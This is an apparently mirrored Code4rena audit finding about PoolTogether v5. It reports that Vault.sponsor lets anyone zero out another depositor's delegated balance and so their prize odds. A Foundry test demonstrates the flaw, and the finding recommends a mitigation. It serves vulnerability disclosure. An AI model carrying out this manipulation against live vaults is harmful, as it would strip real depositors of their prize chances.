Lucene search

K
code423n4Code4renaCODE423N4:2023-07-POOLTOGETHER-FINDINGS-ISSUES-408
HistoryJul 14, 2023 - 12:00 a.m.

Vault.sponsor may take away the prize chance from the receiver.

2023-07-1400:00:00
Code4rena
github.com
3
twabcontroller
vault.sponsor
prize chance
malicious user
asset
test code
probability
observations mapping

Lines of code
<https://github.com/generationsoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/TwabController.sol#L500-L502&gt;
<https://github.com/generationsoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/TwabController.sol#L656-L661&gt;
<https://github.com/generationsoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/TwabController.sol#L24&gt;

Vulnerability details

Impact

TwabController.delegateBalance is related to the probability to get the prize, and Vault.sponsor can make the others’ delegateBalance to 0.
A malicious user can send a small amount of assets to every depositor and be the only prize taker.

Proof of Concept

Paste this test in VaultDepositTest below this line.
<https://github.com/GenerationSoftware/pt-v5-vault/blob/55dcd65de4436d50967819c2ac313c3910b6f5f3/test/unit/Vault/Deposit.t.sol#L401&gt;
I commented the purpose of the code.

function testSponsor_AliceTakesAwayPrizeChanceFromBob() external {
    // @audit bob deposits $5000
    vm.startPrank(bob);

    uint256 _amount1 = 5000e18;
    underlyingAsset.mint(bob, _amount1);
    underlyingAsset.approve(address(vault), type(uint256).max);
    vault.deposit(_amount1, bob);

    assertEq(vault.balanceOf(bob), _amount1);
    assertEq(twabController.delegateBalanceOf(address(vault), bob), _amount1);

    vm.stopPrank();

    // @audit alice sponsors bob with little assets
    vm.startPrank(alice);
    uint256 _amount2 = 1;
    underlyingAsset.mint(alice, _amount2);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vault.sponsor(_amount2, bob);
    vm.stopPrank();

    // @audit bob has no chance to get the prize. This should not pass.
    assertEq(twabController.delegateBalanceOf(address(vault), bob), 0);
}

Then run these commands.

cd vault
forge test --match-test testSponsor_AliceTakesAwayPrizeChanceFromBob

This changes the probability of getting the prize, because TwabLib.AccountDetails.delegateBalance is the actual balance recorded in the TwabLib.Account.observations mapping.
<https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/libraries/TwabLib.sol#L203&gt;
<https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/libraries/TwabLib.sol#L119&gt;

The observations mapping is used in PrizePool._isWinner to calculate the winning zone based on _userTwab.
<https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L864&gt;
<https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L928&gt;
<https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/libraries/TierCalculationLib.sol#L93&gt;

Tools Used

Manual review

Recommended Mitigation Steps

TwabController.sponsor had better take an additional input argument uint256 amount to indicate the amount to sponsor.

Assessed type

Other


The text was updated successfully, but these errors were encountered:

All reactions